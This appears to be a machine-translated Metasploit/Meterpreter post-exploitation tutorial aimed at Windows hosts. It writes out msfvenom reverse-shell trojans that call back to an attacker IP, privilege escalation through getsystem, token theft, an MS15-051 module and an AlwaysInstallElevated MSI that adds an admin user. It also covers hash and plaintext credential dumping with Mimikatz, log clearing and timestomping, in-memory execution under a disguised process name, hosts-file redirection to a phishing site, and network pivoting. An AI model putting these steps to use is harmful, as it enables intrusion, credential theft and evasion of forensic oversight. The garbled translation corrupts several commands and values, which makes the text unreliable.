http://msdn.microsoft.com/en-us/library/windows/desktop/aa363804(v=vs.85).aspx

コードは次のとおりです。

address=virtualAllocexNuma(ハンドル、null、sizeof(buf)、mem_reserve | mem_c

0x01メートルプレター自動特権レイズ

1。バックドアプログラムを生成します

KALIのコマンドラインの下で次のコマンドを直接実行して、Windows用のリバウンドトロイの木馬を取得します。

MSFVENOM -P Windows/MeterPreter/Reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exeここでは、生成されたトロイの木馬のペイロードを:に指定します。

Windows/MeterPreter/Reverse_tcp、跳ね返るモニター側のアドレスは172.16.11.2、リスニングポートは4444、ファイル出力形式はexeであり、path /tmp/hack.exeに保存されます

2。リスニングを実行

使用

Exploit/Multi/Handler

ペイロードを設定します

Windows/MeterPreter/Reverse_tcp

lhostを設定します

172.16.11.2

オプションを表示します

hdrabdpweyh8803.gifリスニング用に構成したモジュールを有効にするために、エクスプロイトコマンドを入力してください。

3。 Trojan

をアップロードして実行します

がアップロードされ、スクリプトトロイの木馬を実行します。ここでは、一連の貫通テストを通じてターゲットマシンのウェブシェルを取得したと仮定します。スクリプトTrojanのファイル管理機能を介して上記のTrojan Hack.exeを正常にアップロードしました。プログラムの絶対的なパスは次のとおりです。

c: \ www \ hack.exe次に、スクリプトトロイの木馬のコマンド実行関数を介して上記のトロイの木馬を実行しようとします。

C: //www/hack.exe/キャラクターの逃亡を避けるために、私たちは//ここでパスを使用します

jjalgs25ecb8804.gif次に、実行後、トロイの木馬が表示されているように表示されていることがわかります。以前に聞いたメタプロイトコマンドラインウィンドウに切り替えて、ターゲットマシンが接続していることがわかります。

4。

MeterPreter Basicライセンスメータープレーターはです

Metasploitフレームワークのキラー武器は、通常、脆弱性のオーバーフロー後の攻撃として使用されます。攻撃は、脆弱性が開始された後、コントロールチャネルに戻ることができます。次に、MeterPreterセッションを使用して自動特権昇格操作を実行し、次のコマンドを直接実行すると、MSFは適切な方法を自動的に選択して現在の許可を増やします。

GetSystem

30zmbncdqpr8805.jpg上記の返品は、MeterPreterセッションの自動特権提起が成功することを意味します。この時点で、ターゲットマシンがドメイン環境に属し、ドメイン管理者によって実行されるプロセスがある場合、指定されたプロセスPIDからドメイン管理者グループトークンを盗み、興味深いことを行うことができます(ドメインアカウントの追加やドメイン管理者グループへのドメインアカウントの追加など)。 MeterPreterセッションでは、PSコマンドを実行してターゲットマシンの現在のプロセスを表示します。ここでプロセスが表示され、実行中のアカウントがドメイン管理者であると仮定します。最初の列で対応するプロセスPIDを見つけることができます(実際、システムアカウントで実行されているプロセスを見つけます)。 PIDは2584:iieviegz1128806.gifです。次のステートメントを実行して、ユーザープロセスのトークンを盗むことができます。

Steel_token 2584

qg5tqoptr458807.jpgこの方法は通常、ドメイン管理者のトークンを盗むために使用され、それを実行します

GetUIDは、システムユーザーが成功したと呼ばれていることがわかります:2faezasphcy8808.gifは既にシステムの許可であるため、次のコマンドを実行して、SAMデータベースからパスワードのハッシュ値をエクスポートしようとします。

2008年に、GetSystemコマンドとHashdumpコマンドが例外をスローする場合、システムシステムの許可を使用して実行されるプロセスに移行する必要があります。後で紹介します。次のシェルコマンドを実行して、メータープレターセッションインターフェイスでCMDシェルを使用します。edfb52kmdzj8809.jpgこのCMDSHELLは、もちろん、継承されたメータープレーターセッションのシステム許可です。次のCMDコマンドを実行して、ターゲットマシンにアカウントテストを追加しようとします。

ネットユーザーテスト

v5est0r /add

ネットローカルグループ管理者のテスト /追加

2umhokh1wpj8810.jpg次に、MeterPreterセッションを使用して、ターゲットマシンのリモートデスクトップサービスの3398ポートを開きます(このモジュールは、実際のテストに従ってWindows 2003ホストのみをサポートします):

getgui -eを実行します

cstcxsgix5r8811.jpg最後に、新しい端末ウィンドウを作成し、次のコマンドを実行してrdesktopを呼び出してターゲットマシンのリモートデスクトップに接続します。

rdesktop -u

test -P V5est0r 172.16.12.2.2 -U: Make Username -P:パスワードを指定i0axdywvv0s8812.jpg

0x02

オーバーフロー脆弱性モジュールのエスカレーション

一般的に、Webシェルに対応するWebサービスの権限は非常に低く、一般的にユーザーの許可ですが、実行後にシステムに直接最も高いアクセス許可を持つサーバーにも遭遇しています。この場合、ユーザーは通常直接追加されます。権限が低い場合は、システムの権利にアップグレードする必要があります - Windowsの最高の権限。ハッカーは通常、EXPプログラムを使用して権利を引き上げます。これは、その後の実験で紹介します。もちろん、MSFに基づく権利を高めるためにOverflowの脆弱性モジュールを呼び出すことも良い方法です。バッファオーバーフロー:バッファーは、プログラムを実行するためにユーザーがコンピューターに適用する連続メモリであり、特定のタイプのデータを保存します。バッファオーバーフローとは、一般的で非常に有害なシステム攻撃方法を指します。プログラムのバッファーまでコンテンツを作成することにより、バッファーはオーバーフローし、それによりプログラムのスタックを破壊し、プログラムを回して攻撃の目的を達成するために他の指示を実行します。さらに深刻なことは、バッファオーバーフロー攻撃がリモートネットワーク攻撃の大部分を占めることであり、匿名のインターネットユーザーにホストの一部またはすべての制御を獲得する機会を与えることができます。このタイプの攻撃により、誰もがホストを制御できるようになるため、セキュリティの脅威の非常に深刻なクラスを表しています。

1。

脆弱性モジュールを呼び出すには、上記のMeterPreter自動特権の実験コンテンツを参照して、ターゲットマシンの利用可能なメータープレターセッションを取得してください。次に、MeterPreterセッションで次のコマンドを入力します。

背景

//現在のMeterPreterセッションをバックグラウンド実行に変換します。次に、MSFコマンドラインで次のコマンドを実行して、2015年にMicrosoftの利用可能な脆弱性モジュールを検索します。

検索

MS15 //下の図に示すように、キーワード関連の脆弱性を検索します。多くの脆弱性モジュールが見つかりました。loraoawzs4m8813.gifMS15_051の脆弱性を選択して、権限を増やし、次のコマンドを実行します。

使用

Exploit/Windows/local/ms15_051_client_copy_imageこのアクティブモジュールのエスカレーション操作を実行するためにどのセッションを指定するかを指定する必要があります。次のコマンドを実行して、サービスセッションが1であることを指定します。

セットセッション

1 //今すぐバックドアに接続されるID番号1を設定します。ここには1つのセッションしかありません、そして1に直接接続します

zkvcov4zdw08814.jpg

2。

オーバーフローを実行し、次のコマンドを直接実行して、権限を上げるために脆弱なモジュールを呼び出します。

エクスプロイト

v5n2qs0x0kf8815.jpg返品情報によると、新しいセッションが作成されておらず、システムの許可がアップグレードされたことを思い出させることができます。システムの許可が現在利用できない場合、システムのプロセスに昇格し、プロセスPIDが提供されます。一般的に言えば、特権のエスカレーションが成功したとしても、次のコマンドを実行して接続セッションを返しますが、GetSUID後に元の許可が表示されます。

セッション

-i 1 PSを実行してプロセスbwfq2amib4r8816.gifを表示します。プロンプトに従って、上記のPIDのプロセスを見つけました。ここでは、システム権限を備えたプロセスをランダムに見つけました。 PIDは3240です。その後、移行コマンドを使用して、現在のセッションプロセスを指定されたプロセスIDに移行する必要があります

移動します

3240

tfid0gx4khg8817.jpg上記の図に見られるように、プロセスの移行は成功しています。次に、GetUIDを実行して、現在のシステム許可が利用可能であることがわかります。pnxlpmamhar8818.jpg

0x03

その後の権利促進運用1。

Basic Information Collectionは、ターゲットマシンが仮想マシンであるかどうかを検出します。 MeterPreterセッションで次のコマンドを実行します。

走る

投稿/Windows/sghate/checkvm#仮想マシンになるかどうかはここでは正確ではありません。モジュールコードは、メータープレーターのKillavスクリプトを介してターゲットホストが実行しているウイルス対策ソフトウェアを改善する必要があります。 MeterPreterセッションで次のコマンドを実行します。

Killavを実行します

kx340hmb0b18819.jpgこのモジュールを改善する必要があり、ここで殺されたプロセスはCMDです。しかし、時にはそれは便利です。インストールソフトウェア情報を取得するには、MeterPreterセッションで次のコマンドを実行します。

post/windows/gracking/enum_applicationsを実行してください#getインストールソフトウェア情報

wge303q1vib8820.jpgターゲットマシンの最新のファイル操作を取得し、MeterPreterセッションで次のコマンドを実行します。

Post/Windows/Grazgn/Dumplinks#最新のファイル操作を実行します

2。

ハッシュおよびプレーンテキストパスワードを読んで、ターゲットマシンシステムのユーザーハッシュを取得し、メータープレーターセッションで次のコマンドを実行します。

Post/Windows/Gather/smart_hashdumpを実行します

TestInghashesに対するモジュールの実行は次のとおりです

接続されている場合、データベースに保存されます。

JTRパスワードファイル形式

to:/home/croxy/.msf4/loot/20155092922525044_default_10.0.2.15_windows.hashes_407551.txtdumping

パスワードハッシュ.レジストリからハッシュを抽出するシステムとして実行されます

ブートキーを取得.計算

syskey 8c2c8d96e92a8ccfc407a1ca48531239を使用したHbootキー.

ユーザーリストとキーを取得.

ユーザーキーの復号化.ダンピング

パスワードのヒント.

[+] croxy:'whoareyou '

パスワードハッシュのダンプ.

[+]

administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:3:33333333333:

[+]

HomeGroupUser $ :10023360AAD3B435B51404EEAAD3B435B51404EE:E3F0347F8B369CAC49E62A18E34834C033333333:33333333:

[+]

test:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d: As mentioned above, we obtained the hask of the local account and obtained the plaintextパスワード。 Mimikatzモジュールを最初にロードし、MeterPreterセッションで次のコマンドを実行する必要があります。

Mimikatzをロードし、現在のプロセスがシステム許可であることを確認し、次のコマンドを直接実行する必要があります。

MSV

npwyumzeudy8821.jpg上記の写真に示すように、次の情報が返されます。

[+] MSV資格情報のSystem Retrieの実行上記の返品情報は、現在のプロセスが「システム」の許可であることを示しています。次に、次のコマンドを実行して、システムユーザーのクリアテキストパスワードをエクスポートします。

Kerberosは、下の図に示されています。 Plantextパスワードは正常にエクスポートされ、テストユーザーのパスワードはV5est0r:qwduwvu4rfc8822.gif次のコマンドを実行して、Mimikatzコマンドラインを介してシステムユーザーハッシュをエクスポートします。

meterpreter mimikatz_command -f

samdump:hases

51hqtachei08823.jpg次のコマンドを実行して、「Mimikatz」コマンドラインを介してシステムユーザーのクリアテキストパスワードをエクスポートします。

mimikatz_command -f sekurlsa:searchpasswords

51fsipfrv158824.jpg

3。

トレースをきれいにするには、次のコマンドを実行します。

Clearevは、戻るために次のように見ることができます。

MeterPreter Clearev

mjikchrumky8825.jpgこのモジュールは、アプリケーション、システム、セキュリティモジュールの3つの側面から履歴記録をクリーンアップしていることがわかります。実際、MSFはTimestomp関数モジュールを提供し、ファイル時間を変更しますが、実際のテストはあまり意味がありません。私たちはここで人気のある科学だけをやっています:

MeterPreter Timestomp C: \\ www -c

'09/09/1980 12:12:34 'ファイルの作成時間を変更します

MeterPreter TimeStomp C: \\ jzking121.txt -m '01/01/1991

12:12:34'Modifyファイルの変更時間

MeterPreter TimeStomp C: \\ jzking121.txt -f c: \\ rhdsetup.logコピーrhdsetup.log属性をjzking121にコピーします。実際のテストでは、時折エラーがあります。サーバーにログインして、ファイル時間を手動で変更できます。

0x04

Always Installeevated Rights

1。 MSIインストールファイルを生成

メータープレターセッションを取得した後、いくつかの従来の方法でシステムの許可を取得できないと仮定して、常に平行にされた権利は希望をもたらすかもしれません。

AlwaysInstallevatedは、Microsoftがシステム許可を使用して不正なユーザーがインストールファイル(MSI)を実行できるようにする設定です。ただし、この種の資格に対してこれを権利を与えるには、特定のセキュリティリスクがあります。これがそうすれば、次の2つのレジストリ値が「1」に設定されるためです。

[hkey_current_user \ software \ policies \ microsoft \ windows \ installer]

'Alwaysinstallevated'=dword:00000001

[hkey_local_machine \ software \ policies \ microsoft \ windows \ installer]

「Alwaysinstallevated」=DWORD3:00000001これらの2つの重要な値を照会する最も簡単な方法は、CMDコマンドを使用することです。最初にシェルを実行して、メータープレーターセッションで `cmdshellを切り替えます。CMDSHELLの下で次のコマンドを実行して、上記のレジストリキー値を照会します。

reg

クエリHKCU \ Software \ Policies \ Microsoft \ Windows \ installer /v

常に溶離しています

Reg Query HKLM \ Software \ Policies \ Microsoft \ Windows \ installer /v

常に溶離しています

bdlmu3okt1y8826.jpgここでのクエリは、エラーを報告しています。注:このコマンドエラーが類似している場合:システムは

指定されたレジストリキーまたは値または:エラー:システムは、指定されたレジストリキーまたは値を見つけることができません。これは、常にインストールエレベートがグループポリシーで定義されていないため、関連するレジストリキーがないためかもしれません。 Always Installevatedが有効になっていると仮定したので、MSFvenomツールを使用して、管理者ユーザーをターゲットマシンに追加するMSIインストールファイルを生成できます。

msfvenom

-p Windows/adduser user=msi pass=p@ssword123! -f msi -o /tmp/add.msi

//追加されたユーザーがここで指定され、ユーザー名はMSIで、パスワードは次のとおりです。

3ch5jigqjsl8827.jpg上の図に示すように返されるように、MSIファイルは/tmp/add.msiで正常に生成されました

2。 MSIファイルエスカレーションを実行

次に、インストールファイルをターゲットマシンc: \\ add.msi:にアップロードし、次のコマンドを実行します。

アップロード

/tmp/add.msi C: \\ add.msi

nnceo55kn428828.jpg新しく生成されたMSIファイルをターゲットマシンに正常にアップロードすると、Windowsコマンドラインmsiexecツールを使用してインストールできます(最初にシェルコマンドを実行して「cmdshellに切り替える必要があります):

シェル

msiexec /quiet /qn /i c: \ add.msi

u5pe3duyyly8829.jpg

Msiexecの関連パラメーターについては、次のように説明します。

/cieting:インストール中にユーザーにメッセージを送信します

/QN:はGUIを使用しません

/i:インストールプログラムが実行された後、ターゲットマシンで新しく作成された管理者ユーザーを検出できます。 CMDShellの下で次のコマンドを実行して、管理グループユーザーのリストを表示します。

ネット

ローカルグループ管理者

0x01pirst学習メータープレーター

1.1.メータープレターとは何ですか

MeterPreterは、MetaSploitフレームワークの拡張モジュールです。オーバーフローが成功した後、攻撃ペイロードとして使用されます。オーバーフロー攻撃が成功した後、攻撃ペイロードはコントロールチャネルを返します。攻撃のペイロードとして使用すると、ターゲットシステムのメータープレターシェルへのリンクを取得できます。 MeterPreter Shellには、ユーザーの追加、何かの隠れ、ユーザーのパスワードの開き、リモートホストのファイルのアップロードとダウンロード、CMD.exeの実行、画面のキャプチャ、リモートコントロールのキャプチャ、キー情報の取得、キー情報の取得、アプリケーションのクリア、リモートホストのシステム情報の表示などのマシンなどのインターフェースの表示などの表示など、浸透モジュールとして多くの有用な機能があります。リモートホストに身を隠すと、システムハードディスク内のファイルが変更されないため、HIDS [ホストベースの侵入検知システム]が応答することは困難です。 In addition, the system time varies when it is running, so tracking it or terminating it can also become very difficult for an experienced person.

最後に、MeterPreterは複数のセッションを作成するタスクを簡素化することもできます。これらのセッションは、浸透に使用できます。 Metasploitフレームワークでは、MeterPreterは浸透後のツールであり、動作中に動作中に拡張できる動的でスケーラブルなペイロードです。このツールは、「メモリDLLインジェクション」の概念に基づいて実装されています。これにより、ターゲットシステムは、新しいプロセスを作成し、注入されたDLLを呼び出すことにより、注入されたDLLファイルを実行できます。その中で、ターゲットデバイス内の攻撃者とメータープレターとの間の通信は、ステージャーソケットを介して実装されています。浸透後モジュールとしてはメータープレターには多くの種類があり、コマンドはコアコマンドと拡張ライブラリコマンドで構成されており、攻撃方法を大幅に濃縮しています。

MeterPreterを説明する必要がある場合、脆弱性が正常に活用された後、コードの第2フェーズとMeterPreterサーバーDLLが送信されます。したがって、ネットワークの不安定な場合、多くの場合、実行可能なコマンドがないか、セッションの確立とヘルプの実行が欠落していることがわかります。これは、VPNに接続し、イントラネットでPSEXECとBIND_TCPを使用するときにしばしば発生します。

1.2.meterpreterテクノロジーの利点

MetaSploitは、WindowsやLinuxなどのさまざまな主流プラットフォームのメータープレターバージョンを提供し、X86およびX64プラットフォームをサポートしています。さらに、MeterPreterはPHP言語とJava言語に基づいた実装も提供しています。 MeterPreterの作業モードは純粋なメモリであり、利点は起動して隠されていることです。これは、ウイルス対策ソフトウェアで監視することが困難です。ターゲットホストディスクにアクセスする必要はないため、侵入の兆候はありません。上記に加えて、MeterPreterはRuby Scripting Extensionsもサポートしています。したがって、ルビー言語はまだ必要です。

0x02メータープレーターの一般的なリバウンドタイプ

1.Reverse_TCP

これはTCPベースのバックリンクリバウンドシェルであり、使用するのが非常に安定しています

(1)Linux:

次のコマンドを使用して、Linuxの下でリバウンドシェルトロイの木馬を生成します。

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell

上の写真を見ると、TrojanファイルのISShellがディレクトリで正常に生成されていることがわかります。次に、ファイルに実行可能な権限を追加します。次に、MetaSploitを開き、モジュールハンドラーを使用して、ペイロードを設定します。注:ここのペイロードセットは、トロイの木馬を生成するために使用するペイロードと同じでなければなりません。

zi2hzrlpisr8830.gif

アドレスとポートを設定すると、リスニングを開始します

yibthrorgwt8831.gif

ここでリバウンドシェルトロイの木馬を実行すると、シェルにリバウンドされたことがわかります。

(2)Windows:

msfvenom -p windows/meterpreter/reverse_tcp lhost=[your ip] lport=[port] -f exe -oファイル名を生成する

MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.1.102 LPORT=4444 -F EXE -O SHELL.EXE

这里写图片描述

这里写图片描述

リバース接続シェルは使用するのが非常に安定しているため、LHOSTを設定する必要があります

2.Reverse_http

HTTPメソッドに基づく逆接続は、ネットワーク速度が遅い場合、不安定です。

payload:/windows/meterpreter/reverse_http

3.Reverse_Https

HTTPSメソッドに基づく逆接続は、ネットワーク速度が遅い場合、不安定です。 HTTPSがリバウンドする場合は、リスニングポートを443に変更してみてください。

payload:/windows/meterpreter/reverse_https

4.bind_tcp

これは、TCPに基づくフォワード接続シェルです。イントラネットがネットワークセグメントを横断しているときに攻撃機に接続できないため、イントラネットでよく使用され、LHOSTの設定を必要としません。

次のコマンドを使用して、トロイの木馬を生成します。

msfvenom -p linux/x86/meterpreter/bind_tcp

lport=4444 -f elf -o shell

同じことは、権限で実行され、デモンストレーションはありません。

x1zpewj1aho8834.gif

ここで、設定したIPアドレスとポートはターゲットマシンからのものであることに注意してください。これが私たちがそれをつなぐためにイニシアチブをとるものだからです。

0x03関連ペイロード

ペイロードには、リモートシステムで実行する必要がある悪意のあるコードが含まれています。 Metasploitでは、ペイロードはモジュールを悪用するために実行できる特別なモジュールであり、ターゲットシステムのセキュリティの脆弱性を活用して攻撃を実装できます。要するに、このエクスプロイトモジュールはターゲットシステムにアクセスでき、そのコードはターゲットシステムでのペイロードの動作を定義します。

Metasploitには、ペイロードモジュールには3つの主要なタイプがあります。

-シングル

- スターガー

-ステージ

シングルは完全に独立したペイロードであり、システムユーザーの追加やファイルの削除など、calc.exeを実行するのと同じくらい簡単です。シングルのため

ペイロードは完全に独立しているため、NetCatのような非メタプロイト処理ツールに捕まることがあります。

Stager Payloadsは、ターゲットユーザーと攻撃者間のネットワーク接続を確立し、追加のコンポーネントまたはアプリケーションをダウンロードする責任があります。一般的なステージャーのペイロードはReverse_TCPです。これにより、ターゲットシステムは攻撃者とのTCP接続を確立できます。別の一般的なタイプはbind_tcpです。これにより、ターゲットシステムはTCPリスナーを有効にし、攻撃者はいつでもターゲットシステムと通信できます。

ステージはステージャーです

ペイロードによってダウンロードされたペイロードコンポーネントこのペイロードは、サイズ制限なしでより高度な機能を提供できます。

Metasploitでは、ペイロードの名前と使用される形式でそのタイプを推測できます。

単一ペイロードの形式はターゲット/シングルです

ステイガー/ステージペイロード形式は、ターゲット/ステージ/ステイガーです

Metasploitで「Payloadsを表示」コマンドを実行すると、利用可能なペイロードのリストが表示されます。

手把手教你如何利用Meterpreter渗透Windows系统

このリストでは、Windows/PowerShell_Bind_TCPは単一のペイロードであり、ステージのペイロードは含まれていません。 Windows/x64/meterpreter/reverse_tcpはステイガーです

ペイロード(Reverse_TCP)とステージペイロード(MeterPreter)。

0x04メータープレーターの共通コマンド

1。基本コマンド

ヘルプ#MeterPreterヘルプを確認してください

バックグラウンド#返品、ハングメータープレターの背景

BGKILL#バックグラウンドメータープレータースクリプトを殺します

BGLIST#は、実行中のすべてのバックグラウンドスクリプトのリストを提供します

bgrun#バックグラウンドスレッドとしてスクリプトを実行します

チャンネル#アクティブチャネルを表示します

セッション-i番号#セッションと対話します。番号はn番目のセッションを意味します。セッション-iを使用して、指定されたシーケンス番号にメータープレターセッションに接続し続けています。

セッション-K番号

#interact with Conversation

#クローズチャンネルを閉じます

終了#メータープレターセッションを終了します

QUIT#メータープレターセッションを終了します

ID #switchをチャンネルに操作します

#既存のモジュールを実行します。ここで言いたいのは、走行してタブを2回クリックした後、既存のすべてのスクリプトが一覧表示されるということです。一般的に使用されるものには、Autoroute、Hashdump、arp_scanner、multi_meter_injectなどが含まれます。

IRB#Rubyスクリプトモードを入力します

#チャネルのデータを読む

#write data fort data fo a Channel

MeterPreterスクリプトを選択した後、実行およびbgrun#前景と背景実行

MeterPreterの拡張機能をロードする#を使用します

#ロードモジュールをロード/使用します

リソース#既存のRCスクリプトを実行します

2。ファイルシステムコマンド

CAT C: \ boot.ini#ファイルの内容を表示すると、ファイルが存在する必要があります

del C: \ boot.ini #delete指定されたファイル

upload /root/desktop/netcat.exe c: \#setup.exeのアップロードなど、ファイルをターゲット所有者にアップロードします

c: \\ windows \\ system32 \

nimeia.txt/root/desktop/#ダウンロード:c: \\ boot.ini/root/またはダウンロードなど、ファイルをマシンにダウンロードしてください

c: \\ 'programfiles' \\ tencent \\ qq \\ users \\ 295 ****** 125 \\ msg2.0.db

/根/

編集c: \ boot.ini#

ファイルを編集します

getLWD#ローカルディレクトリを印刷します

getwd#print作業ディレクトリ

LCD#ローカルディレクトリを変更します

LS#現在のディレクトリのファイルのリストをリストします

LPWD#ローカルディレクトリを印刷します

PWD#出力作業ディレクトリ

CD C: \\ #enterディレクトリファイル

RMファイル#Deleteファイル

MKDIR DIER #Create Directoryの被害者システム

RMDIR#被害者システムに関する配信ディレクトリ

dir#ターゲットホストのファイルとフォルダー情報をリスト

MV#ターゲットホストのファイル名を変更します

検索-D d: \\ www -f web.config #searchファイル、d c: \\ -f*.docなど

MeterPreter Search -F AutoExec.BAT #Search FILEのSearch

MeterPreter Search -F Sea*.BAT C: \\ XAMP \\

enumdesktops #Number of User Logins

(1)ファイルをダウンロードします

コマンド「ダウンロード +ファイルパス」を使用して、ターゲットマシンの対応する権限のパスの下にファイルをダウンロードします

4dochbbgt558836.gif

(2)ファイルをアップロードします

「アップロード」コマンドは、ファイルをターゲットマシンにアップロードすることです。図では、LL.TXTをターゲットマシンのC: \ PP \にアップロードしました。

nbqbngqhv0v8837.gif

(3)ファイルを表示します

「Cat Filename」は、現在のディレクトリのファイルコンテンツを表示します。コマンドを入力した後、表示しているファイルのコンテンツを返します。

v55rvh0bfb28838.gif

(4)現在のパスを切り替えて照会します

「PWD」コマンドは、DOSコマンドの下の現在のパスを照会します。 「CD」コマンドは、下の図に示すように、現在のパスを変更できます。CD.は、現在のパスの下の前のディレクトリに切り替えることです。

rdcfutpjtly8839.gif

(5)「sysinfo」コマンド

「sysinfo」コマンドは、リモートホストのシステム情報を表示し、コンピューター、システム情報、構造、言語、その他の情報を表示します。リモートホストのオペレーティングシステムはWindows XP Service Pack 2であり、このシステムには多くの脆弱性があることがわかります。

xn1taibizq28840.gif

(6)コマンドを実行します

「実行」コマンドは、ターゲットホストのコマンドを実行します。ここで、「execute -H」がヘルプ情報を表示します。 -fは、実行するコマンドを実行することです。

nk0yvwszfza8841.gif

ターゲットホストでプログラムを実行します。たとえば、現在プロセスをExplorer.exeに注入した後、実行ユーザーはスーパーマネージャー管理者です

ターゲットホストでメモ帳プログラムを実行しましょう

execute -fnotepad.exe

p4uevm2boky8842.gif

下の図に示すように、メモ帳プログラムがターゲットホストにすぐに表示されます:zwedfrx105s8843.gifこれはあまりにも明白です。バックグラウンド実行を非表示にする場合は、パラメーター-Hを追加します

execute -h -fnotepad.exe

この時点で、ターゲットホストのデスクトップは応答しませんでしたが、MeterPreterセッションht05sj3ueyc8844.gifでPSコマンドを使用してそれを見ました

別のものを見てください。ターゲットホストでCMD.exeプログラムを実行し、隠された方法でメータープレーターセッションで直接対話します。

注文:

execute -h -i -fcmd.exe

kw342t3cxip8845.gif

これは、シェルコマンドを使用するのと同じ効果を達成します

もう1つのことは、ターゲットホストのメモリでWCE.EXEやTrojanなどのターゲットホストの攻撃プログラムを直接実行して、ターゲットホストのハードディスクで発見または殺されることを避けるためです。

execute -h -m -d notepad.exe -f wce.exe -a

'-owce.txt'

-dターゲットホストが実行されたときに表示されるプロセス名(変装のため)

-mメモリから直接実行します

'-owce.txt'は、wce.exeの実行パラメーターです

(7)IDLETIMEコマンド

「idletime」コマンドは、ターゲットマシンが現在の操作なしコマンドに期限切れになった時間を表示します。図のディスプレイは、ターゲットホストが9分19秒前に操作を行うことを意味します。

zeguflusfwj8846.gif

(8)コマンドを検索します

「検索」コマンドは、ターゲットホストの特定のファイルを検索します。このコマンドは、システム全体または特定のフォルダーを検索できます。

「検索-H」コマンドを使用して、検索コマンドのヘルプ情報を表示します。

以下の図では、「検索–F aa.txt」コマンドは、現在のディレクトリにaa.txtファイルとターゲットマシンの現在のディレクトリのサブディレクトリがあるかどうかを確認します。もしそうなら、それはその道を示します。

「検索-f l*.txt C: \\ pp」は、C: \\ ppのLで始まるすべてのTXTファイルと、PPフォルダーの下のすべてのサブファイルを表示します。そのようなファイルがある場合、パスとサイズを返します。

(9)コマンドを編集します

VIエディターに電話して、ターゲットホストのファイルを変更する

たとえば、ターゲットホストのホストファイルを変更して、ターゲットホストがBaiduにアクセスするときに準備されたフィッシングWebサイトに移動するようにします(実験目的のみ)

ctmzqazqxbp8847.gif

ping www.baidu.comターゲットホストでは、出てくるターゲットIPは192.168.1.1ですvt2vjcxpdvd8848.gifを変更しました

3。ネットワークコマンド

ipconfig/ifconfig#IPアドレスを含むネットワークインターフェイスに関する重要な情報を表示します

portfwd -h

使用法:portfwd [-h] [add | delete | list | flush] [args]

オプション:

-lローカルホストをオプトして聴く(オプション)

-hヘルプバナー

-l聴くためにローカルポートを選択します

-p OPTはリモートポートに接続します

-rリモートホストを選択して接続します

portfwd add -l

4444 -P 3389 -R 192.168.1.102#ポート転送、ローカル監視4444、ターゲットマシン3389をローカル4444に転送

netstat -an | grep "4444 '#view指定されたポートの開口部

rdesktop -U Administrator -P BK#123 127.0.0.1:444444444444 #use rdesktop desktop、-u username -pパスワードに接続する

rdesktop 127.1.1.0:4444 #requiresユーザー名とパスワードをリモートで接続します

ルート#被害者ルーティングテーブルを表示または変更します

ルート追加192.168.1.0 255.255.255.0 1 #ADDダイナミックルート

ルートプリント#Routingテーブル出力

runget_local_subnets#ターゲットホストのイントラネットIPセグメントステータス

ARP#ARPバッファーテーブルのルック

GetProxy #Get Proxy

(1)portfwd

ネットワークコマンドリストIP情報(IPConfig)、ルーティングテーブルの変更(ルート)、およびポート転送(PORTFWD)を表示します。たとえば、portfwd:

enter image description here

ルールを確立した後、リモート3389ポートが転送されるように、ローカル3344ポートに接続できます。

(2)ルート

Routeコマンドを使用して、MeterPreterセッションでイントラネットをさらに貫通します。メータープレターのリバウンドセッションを削除して生成したホストは、イントラネットから外れている可能性があります。外にナットの層があります。イントラネットの他のホストに対する攻撃を直接起動することはできません。次に、生成されたメータープレターセッションをルーティングスプリングボードとして使用して、イントラネットの他のホストを攻撃できます。

最初にrunget_local_subnetsコマンドを使用して、撮影されたターゲットホストのイントラネットIPセグメントを表示できます。

コマンド:get_local_subnetsを実行します

下の図に示すように:

rgtiveo2gmy8850.gif

そのイントラネットには192.168.249.0/24ネットワークセグメントがありますが、直接アクセスできません。

ルートをしましょう。次のホップは、現在取得したホストのセッション(現在5)です。つまり、249ネットワークセグメントのすべての攻撃トラフィックは、侵入したターゲットホストのメータープレーターセッションに通過します。

コマンド:ルート追加192.168.249.0

255.255.255.0 5

次に、ルートプリントを使用してルーティングテーブルを表示します。効果は次のとおりです。

2g1drh5eb4t8851.gif

最後に、このルートを使用して、このルートを介して249ネットワークセグメントのMS08-067の脆弱性を備えた別のホストを攻撃し、下の図に示すように、別のイントラネットホスト192.168.249.1を正常に取得できます。

cdlom3ae1458852.gif

ほとんどの場合、MeterPRを取得します

1。ユーザーアカウントコントロールの紹介(UAC)

この記事では、ユーザーアカウントコントロール、つまりUACを簡単に紹介します。また、マルウェアから潜在的に保護し、UACのプロンプトがシステムに引き起こす可能性のある問題のいくつかを無視できる方法を検討します。

1.ユーザーアカウントコントロール(UAC)とは何ですか?

MicrosoftのWindows Vista and Windows Server 2008オペレーティングシステムは、予測可能で少量の操作のみを必要とするシステム全体の予期しない変更を防ぐために、優れたユーザーアカウント制御アーキテクチャを導入します。

言い換えれば、これはWindowsのセキュリティ機能であり、オペレーティングシステムの不正な変更を防ぐことをサポートするものであり、UACは、管理者が許可した場合にのみ特定の変更が行われることを保証します。管理者が変更を許可しない場合、これらの変更は実行されず、Windowsシステムは同じままです。

2. UACはどのように機能しますか?

UACは、システムの変更/特定のタスクを含むタスクの実行をプログラムにブロックすることにより実行されます。これらの操作を実行しようとするプロセスが管理者の特権で実行されない限り、これらの操作は実行されません。管理者としてプログラムを実行すると、管理者として実行されるプログラムの代わりに「昇格」になるため、より多くの権限があります。

管理者の特権なしでは完了できないいくつかの操作:

レジストリの変更(レジストリキーがhkey_local_machineの下にある場合(複数のユーザーに影響するため)、読み取り専用になります)

デバイスドライバーのロード

DLL注射

システム時間(クロック)を変更する

ユーザーアカウント制御設定を変更する(この設定はレジストリを介して有効/無効にすることができますが、これを行うには正しいアクセス許可が必要です)

保護されたディレクトリ(Windowsフォルダー、プログラムファイルなど)を変更する

スケジュールされたタスク(たとえば、管理者の特権から自動的に開始)

UACはマルウェアを自動的にブロックするわけではなく、その目的はプログラムがマルウェアであるかどうかを判断することではありません。また、ユーザーに依存します。プログラムが管理者の特権で実行される場合、ユーザーは思い出され、ユーザーは確認する必要があります。

https://malwaretips.com/threads/why-uac-is-important-and-how-it-can-protect-you.47157/

2。 UACをバイパスする方法

最初に、Exploreを通じてターゲットホストのメーターを取得します。 MeterPreterセッション1を取得した後、次のコマンドを入力して、システムの許可があるかどうかを確認します。

GetSystem

getuid

システム/管理者の権限がない場合。次に、ターゲットシステムのUAC保護をバイパスする必要があります。

